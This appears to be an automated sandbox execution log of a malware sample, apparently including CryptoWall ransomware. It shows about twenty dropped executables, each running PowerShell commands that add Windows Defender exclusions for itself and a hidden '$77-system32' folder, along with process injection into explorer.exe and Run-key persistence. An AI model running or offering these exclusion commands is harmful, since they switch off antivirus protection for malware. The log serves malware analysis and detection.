        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\21.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:6436
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '21.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9840
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        
        PID:12024
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8512
  - - C:\Users\Admin\AppData\Local\Temp\20.exe
      "C:\Users\Admin\AppData\Local\Temp\20.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:2744
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\20.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:7064
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '20.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7292
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        
        PID:6996
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9524
  - - C:\Users\Admin\AppData\Local\Temp\19.exe
      "C:\Users\Admin\AppData\Local\Temp\19.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:3560
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\19.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:6196
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '19.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9352
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7940
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7192
  - - C:\Users\Admin\AppData\Local\Temp\18.exe
      "C:\Users\Admin\AppData\Local\Temp\18.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:1776
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\18.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:6816
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '18.exe'
        5⤵
        
        PID:9200
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        
        PID:8012
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        
        PID:12244
  - - C:\Users\Admin\AppData\Local\Temp\17.exe
      "C:\Users\Admin\AppData\Local\Temp\17.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:3140
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\17.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5548
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '17.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8588
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9752
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        
        PID:7692
  - - C:\Users\Admin\AppData\Local\Temp\16.exe
      "C:\Users\Admin\AppData\Local\Temp\16.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:3524
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\16.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:7116
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '16.exe'
        5⤵
        
        PID:8556
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        
        PID:8156
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        
        PID:9856
  - - C:\Users\Admin\AppData\Local\Temp\15.exe
      "C:\Users\Admin\AppData\Local\Temp\15.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:2224
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\15.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:6740
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '15.exe'
        5⤵
        
        PID:9704
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        
        PID:11384
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        
        PID:8064
  - - C:\Users\Admin\AppData\Local\Temp\14.exe
      "C:\Users\Admin\AppData\Local\Temp\14.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:3468
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\14.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:7164
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '14.exe'
        5⤵
        
        PID:8464
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        
        PID:12276
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11948
  - - C:\Users\Admin\AppData\Local\Temp\13.exe
      "C:\Users\Admin\AppData\Local\Temp\13.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:4648
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\13.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:6992
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '13.exe'
        5⤵
        
        PID:9540
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        
        PID:10696
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6392
  - - C:\Users\Admin\AppData\Local\Temp\12.exe
      "C:\Users\Admin\AppData\Local\Temp\12.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:4076
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\12.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5928
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '12.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5884
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        
        PID:11232
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        
        PID:8212
  - - C:\Users\Admin\AppData\Local\Temp\11.exe
      "C:\Users\Admin\AppData\Local\Temp\11.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:1248
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\11.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5916
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '11.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9944
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        
        PID:9284
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9248
  - - C:\Users\Admin\AppData\Local\Temp\10.exe
      "C:\Users\Admin\AppData\Local\Temp\10.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:3792
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\10.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5736
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '10.exe'
        5⤵
        
        PID:5268
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2760
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9816
  - - C:\Users\Admin\AppData\Local\Temp\9.exe
      "C:\Users\Admin\AppData\Local\Temp\9.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:4936
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\9.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5764
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '9.exe'
        5⤵
        
        PID:5680
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        
        PID:10452
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7296
  - - C:\Users\Admin\AppData\Local\Temp\8.exe
      "C:\Users\Admin\AppData\Local\Temp\8.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:3464
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\8.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:7640
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '8.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7624
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        
        PID:9172
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        
        PID:9428
  - - C:\Users\Admin\AppData\Local\Temp\7.exe
      "C:\Users\Admin\AppData\Local\Temp\7.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      PID:2712
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\7.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:7256
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '7.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7520
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7376
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9728
  - - C:\Users\Admin\AppData\Local\Temp\6.exe
      "C:\Users\Admin\AppData\Local\Temp\6.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      PID:4856
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\6.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5940
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '6.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9616
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11840
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9116
  - - C:\Users\Admin\AppData\Local\Temp\5.exe
      "C:\Users\Admin\AppData\Local\Temp\5.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      PID:4008
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\5.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:7412
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '5.exe'
        5⤵
        
        PID:9812
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11368
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        
        PID:6468
  - - C:\Users\Admin\AppData\Local\Temp\4.exe
      "C:\Users\Admin\AppData\Local\Temp\4.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      PID:4928
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\4.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:7300
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '4.exe'
        5⤵
        
        PID:6848
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10852
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        
        PID:5948
  - - C:\Users\Admin\AppData\Local\Temp\3.exe
      "C:\Users\Admin\AppData\Local\Temp\3.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      PID:2308
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\3.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:7484
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '3.exe'
        5⤵
        
        PID:8040
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        
        PID:7436
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6876
  - - C:\Users\Admin\AppData\Local\Temp\2.exe
      "C:\Users\Admin\AppData\Local\Temp\2.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      PID:2228
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:6504
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '2.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7780
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11740
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9040
  - - C:\Users\Admin\AppData\Local\Temp\1.exe
      "C:\Users\Admin\AppData\Local\Temp\1.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      PID:1652
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\1.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:7728
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '1.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9244
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8784
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11016
- - C:\Users\Admin\AppData\Local\Temp\CryptoWall.exe
    "C:\Users\Admin\AppData\Local\Temp\CryptoWall.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:3428
  - - C:\Windows\SysWOW64\explorer.exe
      "C:\Windows\syswow64\explorer.exe"
      4⤵
      Drops startup file
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:392
